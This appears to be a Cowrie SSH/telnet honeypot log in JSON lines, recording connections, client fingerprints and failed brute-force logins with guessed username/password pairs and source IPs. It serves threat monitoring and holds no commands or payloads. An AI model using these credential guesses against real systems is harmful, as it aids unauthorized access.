{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:03:15.923609Z","src_ip":"103.27.238.114","session":"2215da9afd09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cnfkby","message":"login attempt [root/cnfkby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:03:16.727502Z","src_ip":"103.27.238.114","session":"2215da9afd09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:03:17.997275Z","src_ip":"103.27.238.114","session":"2215da9afd09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.116.220.251","src_port":34449,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef2e21bc93a9","protocol":"ssh","message":"New connection: 181.116.220.251:34449 (159.203.135.109:22) [session: ef2e21bc93a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:03:51.631499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:03:51.635008Z","src_ip":"181.116.220.251","session":"ef2e21bc93a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:03:51.805575Z","src_ip":"181.116.220.251","session":"ef2e21bc93a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"davy","password":"davy","message":"login attempt [davy/davy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:03:52.522695Z","src_ip":"181.116.220.251","session":"ef2e21bc93a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:03:53.697876Z","src_ip":"181.116.220.251","session":"ef2e21bc93a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":52062,"dst_ip":"159.203.135.109","dst_port":22,"session":"405cfd405252","protocol":"ssh","message":"New connection: 159.65.58.200:52062 (159.203.135.109:22) [session: 405cfd405252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:03:58.297899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:03:58.500252Z","src_ip":"159.65.58.200","session":"405cfd405252","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:03:58.502768Z","src_ip":"159.65.58.200","session":"405cfd405252","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"spolikar","password":"123456","message":"login attempt [spolikar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:03:59.792317Z","src_ip":"159.65.58.200","session":"405cfd405252","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:04:01.105771Z","src_ip":"159.65.58.200","session":"405cfd405252","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":38962,"dst_ip":"159.203.135.109","dst_port":23,"session":"382af6422a89","protocol":"telnet","message":"New connection: 170.64.224.25:38962 (159.203.135.109:23) [session: 382af6422a89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:04:03.856722Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":43772,"dst_ip":"159.203.135.109","dst_port":22,"session":"175a1dd7efbb","protocol":"ssh","message":"New connection: 94.159.110.201:43772 (159.203.135.109:22) [session: 175a1dd7efbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:04:53.030176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:04:53.033447Z","src_ip":"94.159.110.201","session":"175a1dd7efbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:04:58.669005Z","src_ip":"94.159.110.201","session":"175a1dd7efbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"08021983","message":"login attempt [root/08021983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:04:59.003133Z","src_ip":"94.159.110.201","session":"175a1dd7efbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:05:00.118486Z","src_ip":"94.159.110.201","session":"175a1dd7efbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.71","src_port":46822,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f206a0e0153","protocol":"ssh","message":"New connection: 92.118.39.71:46822 (159.203.135.109:22) [session: 6f206a0e0153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:05:13.701862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:05:13.706047Z","src_ip":"92.118.39.71","session":"6f206a0e0153","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:05:13.806391Z","src_ip":"92.118.39.71","session":"6f206a0e0153","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:05:14.109112Z","src_ip":"92.118.39.71","session":"6f206a0e0153","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:05:15.211199Z","src_ip":"92.118.39.71","session":"6f206a0e0153","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.249.8","src_port":47610,"dst_ip":"159.203.135.109","dst_port":22,"session":"057cd7b6d98b","protocol":"ssh","message":"New connection: 162.144.249.8:47610 (159.203.135.109:22) [session: 057cd7b6d98b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:05:27.240621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:05:27.244297Z","src_ip":"162.144.249.8","session":"057cd7b6d98b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:05:27.271069Z","src_ip":"162.144.249.8","session":"057cd7b6d98b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"KuC0!n@Tr0ng!","message":"login attempt [root/KuC0!n@Tr0ng!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:05:27.358734Z","src_ip":"162.144.249.8","session":"057cd7b6d98b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:05:28.391168Z","src_ip":"162.144.249.8","session":"057cd7b6d98b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":43666,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c6e41001f72","protocol":"ssh","message":"New connection: 80.94.92.55:43666 (10.17.0.5:22) [session: 3c6e41001f72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:05:38.387579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:05:38.985077Z","src_ip":"80.94.92.55","session":"3c6e41001f72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:05:38.987555Z","src_ip":"80.94.92.55","session":"3c6e41001f72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:05:40.739100Z","src_ip":"80.94.92.55","session":"3c6e41001f72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:05:42.640243Z","src_ip":"80.94.92.55","session":"3c6e41001f72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":104.66689920425415,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:05:48.523447Z","src_ip":"170.64.224.25","session":"382af6422a89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41650,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c63d4e29b37","protocol":"telnet","message":"New connection: 170.64.224.25:41650 (159.203.135.109:23) [session: 8c63d4e29b37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:05:49.924586Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":40710,"dst_ip":"159.203.135.109","dst_port":22,"session":"c47137a9f5c6","protocol":"ssh","message":"New connection: 147.45.211.215:40710 (159.203.135.109:22) [session: c47137a9f5c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:06:38.860485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:06:38.864313Z","src_ip":"147.45.211.215","session":"c47137a9f5c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:06:39.028947Z","src_ip":"147.45.211.215","session":"c47137a9f5c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51212,"dst_ip":"159.203.135.109","dst_port":23,"session":"903643ffbfeb","protocol":"telnet","message":"New connection: 170.64.224.25:51212 (159.203.135.109:23) [session: 903643ffbfeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:06:39.467157Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"11223344qq","message":"login attempt [root/11223344qq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:06:39.699221Z","src_ip":"147.45.211.215","session":"c47137a9f5c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:06:40.869672Z","src_ip":"147.45.211.215","session":"c47137a9f5c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.43989419937134,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:06:43.364381Z","src_ip":"170.64.224.25","session":"8c63d4e29b37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":43690,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0c709f31646","protocol":"ssh","message":"New connection: 159.65.58.200:43690 (159.203.135.109:22) [session: b0c709f31646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:06:48.194435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:06:48.413629Z","src_ip":"159.65.58.200","session":"b0c709f31646","protocol":"ssh"}
